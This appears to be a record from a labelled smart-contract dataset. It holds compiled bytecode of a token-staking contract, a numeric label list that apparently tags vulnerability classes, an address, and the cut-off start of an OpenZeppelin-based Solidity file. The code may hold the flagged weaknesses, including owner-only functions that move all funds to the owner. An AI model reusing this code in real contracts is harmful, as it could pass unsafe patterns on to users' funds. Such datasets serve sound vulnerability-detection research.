0011415610e5d5760008054600380548584528482016020526040938490209091015492516323b872dd60e01b81526001600160a01b03928316936323b872dd93610e0593169133919060040161377a565b602060405180830381600087803b158015610e1f57600080fd5b505af1158015610e33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5791906137ae565b50610ffe565b60008281526003828101602052604091829020810154600154915492516370a0823160e01b81526001600160a01b0393841660048201529092909116906370a082319060240160206040518083038186803b158015610ebb57600080fd5b505afa158015610ecf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef39190613824565b1015610f5d5760405162461bcd60e51b815260206004820152603360248201527f6f776e657220646f65736e74206861766520656e6f7567682062616c616e63656044820152721034b71030b236b0b73a34bab6903a37b5b2b760691b606482015260840161065d565b6001546003805460008581528483016020526040908190209092015491516323b872dd60e01b81526001600160a01b03938416936323b872dd93610faa939091169133919060040161377a565b602060405180830381600087803b158015610fc457600080fd5b505af1158015610fd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffc91906137ae565b505b6000828152600382016020526040902060080154600114156111a357600082815260038281016020526040808320600201549254915490516370a0823160e01b81526001600160a01b0391821660048201529116906370a082319060240160206040518083038186803b15801561107457600080fd5b505afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac9190613824565b101561110b5760405162461bcd60e51b815260206004820152602860248201527f6f776e657220646f65736e74206861766520656e6f7567682062616c616e636560448201526720666f722031302560c01b606482015260840161065d565b600080546003543380845260176020526040938490205493516323b872dd60e01b81526001600160a01b03938416946323b872dd9461114f9416929160040161377a565b602060405180830381600087803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a191906137ae565b505b6000828152600382016020526040902060040154156113195760008281526003820160205260409020600901546001141561127957600080546003805485845290840160205260409283902060049081015493516323b872dd60e01b81526001600160a01b03938416946323b872dd9461122194169233920161377a565b602060405180830381600087803b15801561123b57600080fd5b505af115801561124f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127391906137ae565b50611319565b60015460038054600085815291840160205260409182902060049081015492516323b872dd60e01b81526001600160a01b03948516946323b872dd946112c5949091169233920161377a565b602060405180830381600087803b1580156112df57600080fd5b505af11580156112f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131791906137ae565b505b600082815260038201602052604090206005015415611491576000828152600382016020526040902060090154600114156113f05760008054600380548584529084016020526040928390206005015492516323b872dd60e01b81526001600160a01b03928316936323b872dd9361139893169133919060040161377a565b602060405180830381600087803b1580156113b257600080fd5b505af11580156113c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ea91906137ae565b50611491565b6001546003805460008581529184016020526040918290206005015491516323b872dd60e01b81526001600160a01b03938416936323b872dd9361143d939091169133919060040161377a565b602060405180830381600087803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148f91906137ae565b505b600082815260038083016020526040822060078101805460ff191660011790550154601c8054919290916114c69084906137c9565b90915550506000828152600382016020526040808220600201549051429233917f92ccf450a286a957af52509bc1c9939d1a6a481783e142e41e2499f0bb66ebc69190a45050565b6003546001600160a01b031633146115385760405162461bcd60e51b815260040161065d90613884565b6003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611571573d6000803e3d6000fd5b50565b600061159c620186a061083c600b8560048110611593576115936137e1565b01548690613245565b90505b92915050565b600061159c6208052061083c8585613245565b6003546001600160a01b031633146115e25760405162461bcd60e51b815260040161065d90613884565b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b15801561163057600080fd5b505afa158015611644573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116689190613824565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156116ae57600080fd5b505af11580156116c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e691906137ae565b5050565b6001600160a01b0381166000908152601860205260408120600101546060919067ffffffffffffffff81111561172257611722613535565b60405190808252806020026020018201604052801561175b57816020015b61174861335a565b8152602001906001900390816117405790505b50905060005b6001600160a01b0384166000908152601860205260409020600101548110156109a3576001600160a01b038416600090815260186020908152604080832084845260039081018352928190208151610180810183528154815260018201549381019390935260028101549183019190915291820154606082015260048201546080820152600582015460a0820152600682015460c0820152600782015460ff808216151560e0840152610100918290041615159082015260088201546101208201526009820154610140820152600a820154610160820152835184908490811061184d5761184d6137e1565b60200260200101819052505080806118649061375f565b915050611761565b6003546000906001600160a01b031633146118995760405162461bcd60e51b815260040161065d90613884565b600354600160a01b900460ff16156119065760405162461bcd60e51b815260206004820152602a60248201527f4f776e6572202063616e206e6f742063616c6c656420746869732066756e637460448201526934b7b71030b3b0b4b71760b11b606482015260840161065d565b60005b8251811015611d875760006001600160a01b031683828151811061192f5761192f6137e1565b60200260200101516001600160a01b0316141561198e5760405162461bcd60e51b815260206004820152601b60248201527f54686973206973206e6f7420612076616c696420616464726573730000000000604482015260640161065d565b6000601860008584815181106119a6576119a66137e1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002090506000806000600260009054906101000a90046001600160a01b03166001600160a01b031663a87430ba888781518110611a0b57611a0b6137e1565b60200260200101516040518263ffffffff1660e01b8152600401611a3e91906001600160a01b0391909116815260200190565b606060405180830381600087803b158015611a5857600080fd5b505af1158015611a6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a9091906138b3565b9250925092508160001415611ae75760405162461bcd60e51b815260206004820152601960248201527f4865206973206e6f7420616e206f6c6420696e76657374657200000000000000604482015260640161065d565b6001840154845484908690600090611b009084906137c9565b9250508190555082856001016000828254611b1b91906137c9565b9250508190555081856002016000828254611b3691906137c9565b90915550600090505b83811015611d6e576000806000806000600260009054906101000a90046001600160a01b03166001600160a01b031663ef060a358f8e81518110611b8557611b856137e1565b6020026020010151886040518363ffffffff1660e01b8152600401611bbf9291906001600160a01b03929092168252602082015260400190565b60a06040518083038186803b158015611bd757600080fd5b505afa158015611beb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0f91906138e1565b94509450945094509450818b600301600089815260200190815260200160002060060181905550838b600301600089815260200190815260200160002060020181905550848b600301600089815260200190815260200160002060010181905550828b600301600089815260200190815260200160002060030181905550808b600301600089815260200190815260200160002060070160006101000a81548160ff02191690831515021790555060028b60030160008981526020019081526020016000206009018190555060018b60030160008981526020019081526020016000206008018190555060018b600301600089815260200190815260200160002060070160016101000a81548160ff02191690831515021790555060028b6003016000898152602001908152602001600020600a01819055508680611d539061375f565b97505050505050508080611d669061375f565b915050611b3f565b5050505050508080611d7f9061375f565b915050611909565b50506003805460ff60a01b1916600160a01b90811791829055900460ff165b919050565b600154600354604051636eb1769f60e11b81526001600160a01b039182166004820152306024820152600092919091169063dd62ed3e906044015b60206040518083038186803b158015611dfe57600080fd5b505afa158015611e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e369190613824565b905090565b60048210611e845760405162461bcd60e51b81526020600482015260166024820152757075742076616c696420706c616e2064657461696c7360501b604482015260640161065d565b600754831015611ea65760405162461bcd60e51b815260040161065d906136f6565b3360009081526019602052604090205460ff16611f1657336000908152601960205260408120805460ff191660011790556004805491611ee58361375f565b909155505060405133907ffbefdee2f057a0ac083104a1d9267c8f8232d2419815379b08626a689fb8d46890600090a25b33600081815260186020526040808220915460035491516323b872dd60e01b815292936001600160a01b03918216936323b872dd93611f5b931690899060040161377a565b602060405180830381600087803b158015611f7557600080fd5b505af1158015611f89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fad91906137ae565b5083816000016000828254611fc291906137c9565b90915550506001810180546000908152600383016020526040808220600601869055825482528082204290558254825280822054601e55915481522060020184905561201a601384600481106107f5576107f56137e1565b60018083015460009081526003840160205260409020015561204f620186a061083c600b8660048110610833576108336137e1565b60018083018054600090815260038086016020526040808320909101949094558154815283812060080183905581548152838120600a019290925580548252918120600901849055815491906120a48361375f565b919050555083600560008282546120bb91906137c9565b9250508190555083601a60008282546120d491906137c9565b90915550506040514290859033907f1449c6dd7851abc30abf37f57715f492010519147cc2652fbc38202c18a6ee9090600090a4600a600061211b606461083c8885613245565b33600090815260176020526040902055505050505050565b6003546001600160a01b0316331461215d5760405162461bcd60e51b815260040161065d90613884565b600755565b336000908152601860209081526040808320858452600381019092529091206007015460ff161515600114156121da5760405162461bcd60e51b815260206004820181905260248201527f54686973207374616b6520697320616c72656164792077697468647261776e2e604482015260640161065d565b82816001015410156121fe5760405162461bcd60e51b815260040161065d906137f7565b600482106122415760405162461bcd60e51b815260206004820152601060248201526f22b73a32b9102b30b634b210283630b760811b604482015260640161065d565b600083815260038201602052604090206006015482116122a35760405162461bcd60e51b815260206004820152601c60248201527f43616e206e6f7420657874656e6420746f206c6f77657220706c616e00000000604482015260640161065d565b6000838152600382016020526040902060070154610100900460ff161561230c5760405162461bcd60e51b815260206004820181905260248201527f596f752063616e6f7420657874656e64206d69677261746564207374616b652e604482015260640161065d565b600083815260038201602052604090206006015461232d90339085906124b4565b50600a54600954106123955760405162461bcd60e51b815260206004820152602b60248201527f596f752063616e6e6f7420657874656e64207374616b6520616674657220546960448201526a36b29034b99027bb32b91760a91b606482015260840161065d565b60008381526003820160205260408120549042906123ba6201518061083c858561392a565b6000878152600386016020526040902060028101546006909101549192506123e791339189918590612523565b6000868152600385016020526040902060068101869055429055612417601386600481106107f5576107f56137e1565b6000878152600386016020526040902060010155612464620186a061083c600b8860048110612448576124486137e1565b015460008a815260038901602052604090206002015490613245565b6000878152600380870160205260408083209182019390935560020154915142929133917fb86b7c655133b00f248588a1f92d9f5c791641395995fe576ba411a4d4eb22279190a4505050505050565b6001600160a01b0383166000908152601860209081526040808320858452600381019092528220546124ef90620151809061083c904261392a565b600955612514620151806013856004811061250c5761250c6137e1565b015490613203565b600a5550506009549392505050565b6001600160a01b0385166000908152601860205260409020612545838361301e565b612561620186a061083c6008548761324590919063ffffffff16565b6000868152600383016020526040812060040180549091906125849084906137c9565b9091555050505050505050565b6003546001600160a01b031633146125bb5760405162461bcd60e51b815260040161065d90613884565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260186020526040902060018101548211156126105760405162461bcd60e51b815260040161065d906137f7565b60008281526003820160205260409020600a01546002146126995760405162461bcd60e51b815260206004820152603960248201527f596f752063616e6f7420776974686472617720576f6c766572696e752073746160448201527f6b656420746f6b656e2066726f6d2041646d616e7469756d2e00000000000000606482015260840161065d565b600082815260038201602052604090206007015460ff16156126f45760405162461bcd60e51b81526020600482015260146024820152730103bb4ba34323930bb9031b7b6b83632ba32b2160651b604482015260640161065d565b6000828152600382810160205260409182902060020154600154915492516370a0823160e01b81526001600160a01b0393841660048201529092909116906370a082319060240160206040518083038186803b15801561275357600080fd5b505afa158015612767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278b9190613824565b10156127e75760405162461bcd60e51b815260206004820152602560248201527f54686973206f776e657220646f65736e74206861766520656e6f7567682062616044820152646c616e636560d81b606482015260840161065d565b6000828152600382016020526040902060070154610100900460ff1661285657600082815260038201602052604090206006015461282890339084906124b4565b50600a546009541161284c5760405162461bcd60e51b815260040161065d9061383d565b6128563383612f99565b6001546003805460008581529184016020526040918290206002015491516323b872dd60e01b81526001600160a01b03938416936323b872dd936128a3939091169133919060040161377a565b602060405180830381600087803b1580156128bd57600080fd5b505af11580156128d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128f591906137ae565b506000828152600382016020526040902060090154600114156129b45760008054600380548584528482016020526040938490209091015492516323b872dd60e01b81526001600160a01b03928316936323b872dd9361295c93169133919060040161377a565b602060405180830381600087803b15801561297657600080fd5b505af115801561298a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129ae91906137ae565b50612a55565b6001546003805460008581528483016020526040908190209092015491516323b872dd60e01b81526001600160a01b03938416936323b872dd93612a01939091169133919060040161377a565b602060405180830381600087803b158015612a1b57600080fd5b505af1158015612a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a5391906137ae565b505b600082815260038201602052604090206008015460011415612b1e573360009081526017602052604090205415612b1e57600080546003543380845260176020526040938490205493516323b872dd60e01b81526001600160a01b03938416946323b872dd94612aca9416929160040161377a565b602060405180830381600087803b158015612ae457600080fd5b505af1158015612af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b1c91906137ae565b505b6000828152600382016020526040902060070154610100900460ff1615612bf8576000828152600382016020526040812060020154600a9190612b689060649061083c9085613245565b6001546003546040516323b872dd60e01b81529293506001600160a01b03918216926323b872dd92612ba29216903390869060040161377a565b602060405180830381600087803b158015612bbc57600080fd5b505af1158015612bd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bf491906137ae565b5050505b6000828152600382016020526040902060070154610100900460ff16612f0657600082815260038201602052604090206004015415612d8e57600082815260038201602052604090206009015460011415612cee57600080546003805485845290840160205260409283902060049081015493516323b872dd60e01b81526001600160a01b03938416946323b872dd94612c9694169233920161377a565b602060405180830381600087803b158015612cb057600080fd5b505af1158015612cc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ce891906137ae565b50612d8e565b60015460038054600085815291840160205260409182902060049081015492516323b872dd60e01b81526001600160a01b03948516946323b872dd94612d3a949091169233920161377a565b602060405180830381600087803b158015612d5457600080fd5b505af1158015612d68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d8c91906137ae565b505b600082815260038201602052604090206005015415612f0657600082815260038201602052604090206009015460011415612e655760008054600380548584529084016020526040928390206005015492516323b872dd60e01b81526001600160a01b03928316936323b872dd93612e0d93169133919060040161377a565b602060405180830381600087803b158015612e2757600080fd5b505af1158015612e3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e5f91906137ae565b50612f06565b6001546003805460008581529184016020526040918290206005015491516323b872dd60e01b81526001600160a01b03938416936323b872dd93612eb2939091169133919060040161377a565b602060405180830381600087803b158015612ecc57600080fd5b505af1158015612ee0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f0491906137ae565b505b80600301600083815260200190815260200160002060020154816002016000828254612f3291906137c9565b90915550506000828152600380830160205260408220015460028301805491929091612f5f9084906137c9565b9091555050600082815260038083016020526040822060078101805460ff191660011790550154601d8054919290916114c69084906137c9565b6001600160a01b03821660009081526018602090815260408083208484526003810190925282206001015490914290612fd96201518061083c858561392a565b6000868152600386016020526040902060028101546006909101549192506130069188918891859061305b565b505050505050565b601381600481106109ba57600080fd5b6201518061302c8382613941565b9050613053600f8360048110613044576130446137e1565b01546103628362015180613203565b600855505050565b6001600160a01b038516600090815260186020526040902061307d838361301e565b613099620186a061083c6008548761324590919063ffffffff16565b6000958652600390910160205260409094206005019390935550505050565b6003546001600160a01b031633146130e25760405162461bcd60e51b815260040161065d90613884565b600b93909355600c91909155600d55600e55565b6130fe61335a565b506001600160a01b0391909116600090815260186020908152604080832093835260039384018252918290208251610180810184528154815260018201549281019290925260028101549282019290925291810154606083015260048101546080830152600581015460a0830152600681015460c0830152600781015460ff808216151560e0850152610100918290041615159083015260088101546101208301526009810154610140830152600a015461016082015290565b60008054600354604051636eb1769f60e11b81526001600160a01b03918216600482015230602482015291169063dd62ed3e90604401611de6565b600b81600481106109ba57600080fd5b600061159c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613323565b6000826132545750600061159f565b60006132608385613941565b90508261326d8583613960565b1461159c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161065d565b6000806132d183856137c9565b90508381101561159c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161065d565b600081836133445760405162461bcd60e51b815260040161065d9190613982565b5060006133518486613960565b95945050505050565b604051806101800160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581526020016000815260200160008152602001600081525090565b6000806000606084860312156133d457600080fd5b505081359360208301359350604090920135919050565b6001600160a01b038116811461157157600080fd5b8035611da6816133eb565b60006020828403121561341d57600080fd5b813561159c816133eb565b60006020828403121561343a57600080fd5b5035919050565b6000806040838503121561345457600080fd5b50508035926020909101359150565b805182526020810151602083015260408101516040830152606081015160608301526080810151608083015260a081015160a083015260c081015160c083015260e08101516134b660e084018215159052565b50610100818101511515908301526101208082015190830152610140808201519083015261016090810151910152565b6020808252825182820181905260009190848201906040850190845b8181101561352957613515838551613463565b928401926101809290920191600101613502565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561355e57600080fd5b823567ffffffffffffffff8082111561357657600080fd5b818501915085601f83011261358a57600080fd5b81358181111561359c5761359c613535565b8060051b604051601f19603f830116810181811085821117156135c1576135c1613535565b6040529182528482019250838101850191888311156135df57600080fd5b938501935b82851015613604576135f585613400565b845293850193928501926135e4565b98975050505050505050565b60008060006060848603121561362557600080fd5b8335613630816133eb565b95602085013595506040909401359392505050565b600080600080600060a0868803121561365d57600080fd5b8535613668816133eb565b97602087013597506040870135966060810135965060800135945092505050565b6000806040838503121561369c57600080fd5b82356136a7816133eb565b946020939093013593505050565b600080600080608085870312156136cb57600080fd5b5050823594602084013594506040840135936060013592509050565b610180810161159f8284613463565b60208082526033908201527f63616e74206465706f736974206e65656420746f207374616b65206d6f7265206040820152721d1a185b881b5a5b9a5b5d5b48185b5bdd5b9d606a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600060001982141561377357613773613749565b5060010190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b80518015158114611da657600080fd5b6000602082840312156137c057600080fd5b61159c8261379e565b600082198211156137dc576137dc613749565b500190565b634e487b7160e01b600052603260045260246000fd5b602080825260139082015272092dcecc2d8d2c840a6e8c2d6ca40d2dcc8caf606b1b604082015260600190565b60006020828403121561383657600080fd5b5051919050565b60208082526027908201527f596f752063616e6e6f7420776974686472617720616d6f756e74206265666f7260408201526632902a34b6b29760c91b606082015260800190565b60208082526015908201527427bbb730b136329d102737ba1030b71037bbb732b960591b604082015260600190565b6000806000606084860312156138c857600080fd5b8351925060208401519150604084015190509250925092565b600080600080600060a086880312156138f957600080fd5b8551945060208601519350604086015192506060860151915061391e6080870161379e565b90509295509295909350565b60008282101561393c5761393c613749565b500390565b600081600019048311821515161561395b5761395b613749565b500290565b60008261397d57634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b818110156139af57858101830151858201604001528201613993565b818111156139c1576000604083870101525b50601f01601f191692909201604001939250505056fea2646970667358221220d48436b3b6fb83e800dbdc14c3f20866528bd7f26309056f91f89aa313f1442c64736f6c63430008090033
[ 12, 16, 7, 19 ]
0xf2B51568ce810A8c5B81179FbFEd6b9988200AAe
// SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); 